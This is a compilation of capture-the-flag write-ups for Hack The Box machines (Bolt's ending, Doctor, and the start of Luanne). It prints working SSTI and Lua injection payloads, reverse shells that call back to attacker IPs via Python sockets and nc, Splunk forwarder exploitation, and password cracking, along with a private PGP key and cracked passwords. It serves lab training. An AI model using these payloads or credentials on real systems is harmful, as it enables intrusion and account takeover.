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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
```

Copy the whole PGP Private Key and remove the '\r\n' character, those are line breaks. Remove those characters but keep the "line-break", and save it on Kali Linux. We need to extract the passphrase from the private key. First we need to convert the private key to hash format.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# gpg2john pgp.key > pgp.hash

File pgp.key
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# ls
hash_admin  pgp.hash  pgp.key
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# cat pgp.hash 
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::pgp.key
```

We convert the private key to hash, now we can move to cracking process.

``` bash
john pgp.hash --wordlist=/usr/share/wordlists/rockyou.txt

Warning: detected hash type "gpg", but the string is also recognized as "gpg-opencl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is
8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256
10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:27 0.00% (ETA: 2021-10-06 13:00) 0g/s 27.58p/s 27.58c/s 27.58C/s caroline
0g 0:00:09:21 0.09% (ETA: 2021-10-06 04:32) 0g/s 27.82p/s 27.82c/s 27.82C/s xxxxxxxxxx
0g 0:00:12:24 0.12% (ETA: 2021-10-06 03:55) 0g/s 27.93p/s 27.93c/s 27.93C/s january12
0g 0:00:17:20 0.17% (ETA: 2021-10-06 03:40) 0g/s 28.03p/s 28.03c/s 28.03C/s thuggin
0g 0:00:22:38 0.22% (ETA: 2021-10-06 03:31) 0g/s 28.07p/s 28.07c/s 28.07C/s upgrade
0g 0:00:24:51 0.24% (ETA: 2021-10-06 03:19) 0g/s 28.10p/s 28.10c/s 28.10C/s megan13
merrychristmas (Eddie Johnson)
1g 0:00:25:24 DONE (2021-09-29 00:23) 0.000656g/s 28.10p/s 28.10c/s 28.10C/s merrychristmas
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

It took 25 minutes to crack it. We got the passphrase for the private key. Now, let's try to decrypt the encrypted message which we got from 'passbolt' database. But first, we need to import the public and private key of 'Eddie' user.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# gpg --batch --import pgp.key
gpg: 密钥 1C2741A3DC3B4ABD：公钥 “Eddie Johnson <eddie@bolt.htb>” 已导入
gpg: 密钥 1C2741A3DC3B4ABD：私钥已导入
gpg: 处理的总数：1
gpg:               已导入：1
gpg:       读取的私钥：1
gpg:   导入的私钥：1
```

We have imported the private key, now we need to decrypt the encrypted message.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/bolt]
└─# gpg --pinentry-mode loopback --passphrase merrychristmas -d pgp_message.asc
gpg: 无效的字符封装头： wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc\n
gpg: 由 2048 位的 RSA 密钥加密，标识为 F65CA879A3D77FE4，生成于 2021-02-25
      “Eddie Johnson <eddie@bolt.htb>”
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}gpg: 签名建立于 2021年03月06日 星期六 10时33分54秒 EST
gpg:               使用 RSA 密钥 1C2741A3DC3B4ABD
gpg: 完好的签名，来自于 “Eddie Johnson <eddie@bolt.htb>” [未知]
gpg: 警告：此密钥未被受信任签名认证！
gpg:       没有证据表明此签名属于其声称的所有者。
主密钥指纹： DF42 6BC7 A4A8 AF58 E50E  DA0E 1C27 41A3 DC3B 4ABD
```

From decrypted message we got a password. Let's try this on root. Root login via SSH is disabled, so we have to use 'su' to login.

``` bash
eddie@bolt:~$ su -
Password: 
root@bolt:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bolt:~# whoami
\root
root@bolt:~# cd ~
root@bolt:~# cat root.txt 
6b437aadf3a8414004e151a1a0eb9d0d
root@bolt:~# cat /etc/shadow | grep root
root:$6$gID7DRyUwzMW69Ul$209oMxMiaHmg1iiIbvO0z7Z7Twe./PKnGZKede1XYfsqynZ/xLN5jAmtwMLFWpFLeV6vf8YSVsj87Q5zkbudX.:18879:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2083.jpg)

#### Summary of knowledge

 - password hash leaked from the download file
 - using john crack hashes
 - vhost enumeration
 - using PayloadsAllTheThings SSTI Code Execution payload to get a reverse shell
 - PGP Private Key passphrase crack
 - decrypt the encrypted message by using the imported private key and cracked passphrase

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end bolt -->

</details>

<a id="case-doctor"></a>

## Jinja2 配置加载与日志凭据

从模板渲染验证进入配置加载，日志中的密码再连接 Splunk Universal Forwarder 管理面。原链各阶段的请求和配置路径完整保留。

<p class="kb-provenance">来源 doctor · 原记录 2020-09-29 · 17 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-doctor">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start doctor -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	26 Sep 2020
IP:	10.10.10.209

User Blood jkr	00 days, 00 hours, 36 mins, 05 seconds.
Root Blood xct	00 days, 00 hours, 36 mins, 12 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb98.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/doctor# nmap -sV -v -p- --min-rate=10000 10.10.10.209
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open  ssl/http Splunkd httpd
```

on port 80, find a subdomain

``` bash
Send us a message
info@doctors.htb
```

add this to our /etc/hosts file. Now let's go to doctors.htb

a login page. Try some sql injections

But nothing is working. now Registe ourself and try to login then

So its show nothing, Lets check theSource Code

``` bash
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
</div>
<!-- Navbar Right Side -->
```

This seems to be some link /archive let's go to that page and see what's on that

Hmmm, Blank Page

Let's, try to submit a new message

Let's, try first simple html H1 tag

``` bash
title
<h1>hello</h1>

content
<h1>hello</h1>
```

It accept this html h1 tag but were we got the response of that.

Let's check on that /archive page .

But still it's blank. Let's check the source code of that page.

``` bash
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title><h1>hello</h1></title></item>

        </channel>
```

Our response is there. But he didn't execute, Let's try to modify this html tag

``` bash
title
</title></item><h1>hello</h1>

content
</title></item><h1>hello</h1>
```

let's try to post this. and it worked

the source code

``` bash
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title></title></item><h1>hello</h1></title></item>

        </channel>
```

this is vulnerable from Server-Side Template Injection
I Found interesting Article

 - [Server Side Template Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)

try Jinja2 Basic injection

First, We are using {{7*'7'}}

``` bash
title
</title></item>{{7*'7'}}

content
</title></item>{{7*'7'}}
```

If this executed successfully so we will get the response of 7777777

Boom it's executed successfuly. Now let's use Exploit the SSTI by writing an evil config file To Get the reverse shell.

We are using this exploit

Exploit the SSTI by writing an evil config file.

``` bash
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```

payload

``` bash
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.7\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```

Let's go to the /archivePage But First start a netcat lisner on 9001 port

It's reloding, let's check our netcat lisner.

``` bash
root@kali:~/hackthebox/machine/doctor# nc -lvp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:34444.
bash: cannot set terminal process group (832): Inappropriate ioctl for device
bash: no job control in this shell
web@doctor:~$ id
id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
web@doctor:~$ whoami
whoami
web
```

hmm, We find something interesting thing in /var/log/apache2/

In the /var/log/apache2/ directory there is a file called backup. Let's check there is any password or anything interesting in That.

``` bash
web@doctor:/var/log/apache2$ cat backup | grep pass
cat backup | grep pass
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
```

now we we find password of shaun, then switch to shaun

``` bash
web@doctor:/var/log/apache2$ su shaun
su shaun
Password: Guitar123
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
whoami
shaun
python3 -c 'import pty; pty.spawn("/bin/bash")'
shaun@doctor:/var/log/apache2$
```

now we got user.txt

``` bash
shaun@doctor:~$ cat user.txt
cat user.txt
e52b07d06a90865c8c939712f50f9e71
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb99.jpg)

Privilege escalation
run LinPEAS And Find Something interesting.

 - [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb100.jpg)

after some google search we find the following script could be used to get privesclation

 - [PySplunkWhisperer2_remote.py](https://github.com/cnotin/SplunkWhisperer2/blob/master/PySplunkWhisperer2/PySplunkWhisperer2_remote.py)

Local privilege escalation, or remote code execution, through Splunk Universal Forwarder (UF) misconfigurations. See

 - [Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2](https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/)

for more details.

payload:

``` bash
python PySplunkWhisperer2_remote.py --lhost 10.10.14.7 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/luci11;mkfifo /tmp/luci11;cat /tmp/luci11|/bin/sh -i 2>&1|nc 10.10.14.7 5555 >/tmp/luci11"'
```

run this, and we got a root shell

``` bash
root@kali:~/hackthebox/machine/doctor# python PySplunkWhisperer2_remote.py --lhost 10.10.14.7 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/luci11;mkfifo /tmp/luci11;cat /tmp/luci11|/bin/sh -i 2>&1|nc 10.10.14.7 5555 >/tmp/luci11"'
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
  from cryptography import x509
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpiRqdZO.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.7:8181/
10.10.10.209 - - [29/Sep/2020 13:45:08] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!
```

``` bash
root@kali:~/hackthebox/machine/doctor# nc -lvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.209.
Ncat: Connection from 10.10.10.209:48386.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ls
bin
boot
cdrom
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
# cd /root
# ls
root.txt
# cat root.txt
316ae3165720f8c125e259d7a3290c85
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb101.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb102.jpg)

#### Summary of knowledge

 - Server Side Template Injection
 - Jinja2 Basic injection
 - Exploit the SSTI by writing an evil config file
 - password leaked in /var/log/apache2/backup
 - Splunk Universal Forwarder (UF) misconfigurations
 - use PySplunkWhisperer2_remote.py to get root shell

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end doctor -->

</details>

<a id="case-luanne"></a>

## Lua 解析与 doas 身份变化

Lua 接口的语法边界形成执行入口，备份、私钥及 netpgp 解密连接后续用户。doas 的授权对象和命令保留原始证据。

<p class="kb-provenance">来源 luanne · 原记录 2020-12-04 · 30 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-luanne">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start luanne -->

#### introduce

OS:	 Other
Difficulty: Easy
Points:	20
Release:	28 Nov 2020
IP:	10.10.10.218

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb130.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.218
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp   open  http    nginx 1.19.0
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# nmap -sV -sC -v -p 22,80,9001 10.10.10.218
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
```

#### Port-80

They asking us for a username and Password.

If we see in our nmap result they tell us about robots.txt.

Let's check out that quickly

``` bash
User-agent: *
Disallow: /weather  #returning 404 but still harvesting cities 
```

There is a one directory called /weather in the disallow entries.

Let's check that directory.

Hmm they said 404 not found.

Let's use gobuster to find inside /weather directory.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.218/weather/
[+] Threads:        50
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/04 01:40:43 Starting gobuster
===============================================================
/forecast (Status: 200)
```

they found one more interesting directory called /forecast

They said no city specified use city=list.

Let's use this in the url.

``` bash
http://10.10.10.218/weather/forecast?city=list

{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}
```

They list all cities Let's choose Leeds.

``` bash
http://10.10.10.218/weather/forecast?city=Leeds

{"code": 200,"city": "Leeds","list": [{"date": "2020-12-04","weather": {"description": "snowy","temperature": {"min": "12","max": "46"},"pressure": "1799","humidity": "92","wind": {"speed": "2.1975513692014","degree": "102.76822959445"}}},{"date": "2020-12-05","weather": {"description": "partially cloudy","temperature": {"min": "15","max": "43"},"pressure": "1365","humidity": "51","wind": {"speed": "4.9522297247313","degree": "262.63571172766"}}},{"date": "2020-12-06","weather": {"description": "sunny","temperature": {"min": "19","max": "30"},"pressure": "1243","humidity": "13","wind": {"speed": "1.8041767538525","degree": "48.400944394059"}}},{"date": "2020-12-07","weather": {"description": "sunny","temperature": {"min": "30","max": "34"},"pressure": "1513","humidity": "84","wind": {"speed": "2.6126398323104","degree": "191.63755226741"}}},{"date": "2020-12-08","weather": {"description": "partially cloudy","temperature": {"min": "30","max": "36"},"pressure": "1772","humidity": "53","wind": {"speed": "2.7699138359167","degree": "104.89152945159"}}}]}
```

Nothing interesting in the output.

After some hit and try and reading the hackthebox forums they all talking about lua. i think lua is related to the machiene name.

Let's try some lua syntax.

``` bash
http://10.10.10.218/weather/forecast?city=Leeds%22);%27print(
```

They give us a error called:

``` bash
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
```

Now i am conform that we get the reverse shell with lua.

 - [gtfobins-lua](https://gtfobins.github.io/gtfobins/lua/)

 - [mkfifo](https://pubs.opengroup.org/onlinepubs/009695399/functions/mkfifo.html)

After reading some article i create a syntax for reverse shell.

``` bash
http://10.10.10.218/weather/forecast?city=Leeds');os.execute("rm /tmp/f;mkfifo /tmp/luci;cat /tmp/luci|/bin/sh -i 2>&1|nc 10.10.14.3 9001 >/tmp/luci")--
```

Url encode this to the following

``` bash
http://10.10.10.218/weather/forecast?city=Leeds%27%29%3b%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%6c%75%63%69%3b%63%61%74%20%2f%74%6d%70%2f%6c%75%63%69%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%34%2e%33%20%39%30%30%31%20%3e%2f%74%6d%70%2f%6c%75%63%69%22%29%2d%2d
```

Open your netcat listner.


``` bash
┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# nc -lvp 9001                                                                                                
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.218.
Ncat: Connection from 10.10.10.218:65489.
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
$ whoami
_httpd
```

Boom we got the reverse shell through _httpd.

After some enumeration i find an interesting file called .htpasswd in /var/www/

``` bash
ls -la
$ total 20
drwxr-xr-x   2 root  wheel  512 Nov 25 11:27 .
drwxr-xr-x  24 root  wheel  512 Nov 24 09:55 ..
-rw-r--r--   1 root  wheel   47 Sep 16 15:07 .htpasswd
-rw-r--r--   1 root  wheel  386 Sep 17 20:56 index.html
-rw-r--r--   1 root  wheel   78 Nov 25 11:38 robots.txt
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
```

There is a webapi_user hash.

Let's try to crack it with john.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/luanne]
└─# john -w=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest       (?)
1g 0:00:00:00 DONE (2020-12-04 02:01) 7.142g/s 21942p/s 21942c/s 21942C/s my3kids..ANTHONY
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

And we got the password for webapi_user:iamthebest.

But the problem is su or sudo is not working

Let's use this credentials on web.

``` bash
webapi_user:iamthebest
```

There is nothing interesting.

Let's do manually enumeration inside the box.

Let's check which service running inside the box

``` bash
$ netstat -ant
Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address        State
tcp        0      0  10.10.10.218.65489     10.10.14.3.9001        ESTABLISHED
tcp        0      0  127.0.0.1.3000         127.0.0.1.65490        CLOSE_WAIT
tcp        0      0  127.0.0.1.65490        127.0.0.1.3000         FIN_WAIT_2
tcp        0      0  127.0.0.1.3000         *.*                    LISTEN
tcp        0      0  127.0.0.1.3001         *.*                    LISTEN
tcp        0      0  *.80                   *.*                    LISTEN
tcp        0      0  *.22                   *.*                    LISTEN
tcp        0      0  *.9001                 *.*                    LISTEN
Active Internet6 connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp6       0      0  *.22                   *.*                    LISTEN
Active UNIX domain sockets
Address  Type   Recv-Q Send-Q    Inode     Conn     Refs  Nextref Addr
fffff67d7a76b9e0 stream      0      0        0 fffff67d7a76b900        0        0 
fffff67d7a76b900 stream      0      0        0 fffff67d7a76b9e0        0        0 
fffff67d7a76b510 stream      0      0 fffff67e28af5c08        0        0        0 /var/supervisord/run/supervisord.sock.340
fffff67d7a76bdd0 dgram       0      0        0 fffff67d7a76b3c0        0 fffff67d7a76bb30 -> /var/run/log
fffff67d7a76b7b0 dgram       0      0        0 fffff67d7a76b3c0        0        0 -> /var/run/log
fffff67d7a76b820 dgram       0      0        0        0        0        0 
fffff67d7a76bb30 dgram       0      0        0 fffff67d7a76b3c0        0 fffff67d7a76b7b0 -> /var/run/log
fffff67d7a76b3c0 dgram       0      0 fffff67e2b920040        0 fffff67d7a76bdd0        0 /var/run/log
```

There is a port called 3001 that run in the localhost Let's check this real quick.

``` bash
$ nc 127.0.0.1 3001
cat /etc/passwd
HTTP/0.9 404 Not Found
Content-Type: text/html
Content-Length: 217
Server: bozohttpd/20190228

<html><head><title>404 Not Found</title></head>
<body><h1>404 Not Found</h1>
/etc/passwd: <pre>This item has not been found</pre>
<hr><address><a href="//luanne.htb:3001/">luanne.htb:3001</a></address>
</body></html>
```

Let's curl that web server inside the machiene.

``` bash
$ curl http://127.0.0.1:3000/
